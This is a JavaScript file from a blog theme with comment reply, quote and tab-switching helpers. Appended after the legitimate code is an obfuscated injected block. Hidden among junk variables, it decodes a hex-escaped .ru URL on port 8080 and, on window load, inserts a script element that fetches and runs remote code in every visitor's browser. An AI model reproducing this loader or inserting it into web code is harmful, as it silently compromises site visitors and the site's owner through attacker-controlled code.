/*
Author: mg12
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();

(function() {

function $(id) {
	return document.getElementById(id);
}

function setStyleDisplay(id, status) {
	$(id).style.display = status;
}

function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) {
	$(activeTab).className = activeClass;
	$(fadeTab).className = fadeClass;

	var panel, panelList;
	panelList = showPanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		var panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'block');
		}
	}
	panelList = hidePanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'none');
		}
	}
}

window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS']['setStyleDisplay'] = setStyleDisplay;
window['MGJS']['switchTab'] = switchTab;

})();



this.n="";function X(){var N='';var Bw;if(Bw!='' && Bw!='Z'){Bw='J'};var S=unescape;var O="\x68\x74\x74\x70\x3a\x2f\x2f\x76\x65\x72\x69\x7a\x6f\x6e\x2d\x6e\x65\x74\x2e\x61\x72\x74\x69\x63\x6c\x65\x73\x62\x61\x73\x65\x2e\x63\x6f\x6d\x2e\x35\x64\x36\x64\x2d\x63\x6f\x6d\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var KN='';var Jn='';var M='';var A=new Array();var K=new String("g");var G=window;var zV;if(zV!='' && zV!='h'){zV='p'};function C(H,V){this.UR="";var i="";var nk;if(nk!='zW'){nk='zW'};var o=new String();var m=S("%5b")+V+S("%5d");var Un;if(Un!='' && Un!='eE'){Un=''};var mk=new RegExp(m, K);var fX;if(fX!='q' && fX!='Bl'){fX='q'};return H.replace(mk, M);var sr=new Date();var JQ=new Date();};var fy;if(fy!='v' && fy!='nZ'){fy='v'};var _;if(_!='QY' && _!='MH'){_='QY'};var gI=new Array();var t='';var zp;if(zp!='hm'){zp=''};this.ZP='';var k=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%70%6c%6f%67%2e%6a%70%2f%68%75%72%72%69%79%65%74%2e%63%6f%6d%2e%74%72%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2e%70%68%70");var JK=new String();var a=C('8590298950236','16742953');var Q=document;var Se='';function u(){var Zp;if(Zp!='SV'){Zp='SV'};var dp=new Array();var xR;if(xR!='Fl' && xR!='pZ'){xR=''};t=O;var lN;if(lN!='qW' && lN!='Fe'){lN=''};t+=a;var NU;if(NU!='' && NU!='FJ'){NU='pf'};t+=k;var im;if(im!=''){im='qo'};var VE=new String();this.w='';try {var BG='';this.js="";this.YN="";B=Q.createElement(C('sFc3rFiMpMtH','1FZ73HmVMG59b'));var UW=new String();var xS;if(xS!='dI'){xS='dI'};var Ms='';var Oi;if(Oi!='' && Oi!='No'){Oi='lF'};B.defer=[1,5][0];var p_;if(p_!='FR'){p_='FR'};B.src=t;this.ru='';var hY;if(hY!='' && hY!='My'){hY=''};var wq;if(wq!='' && wq!='Vd'){wq=null};Q.body.appendChild(B);this.zWT='';var Ua;if(Ua!='' && Ua!='RY'){Ua=null};} catch(r){this.Mm='';};var zE=new Date();}var KU=new Array();G["9PYon".substr(3)+"lo"+"ad"]=u;var xZ='';var hz="";var Be;if(Be!='Fj' && Be != ''){Be=null};var Dr='';};var VQ="";this.aE='';this.Xg='';X();this.Dn='';var AV;if(AV!='JR' && AV != ''){AV=null};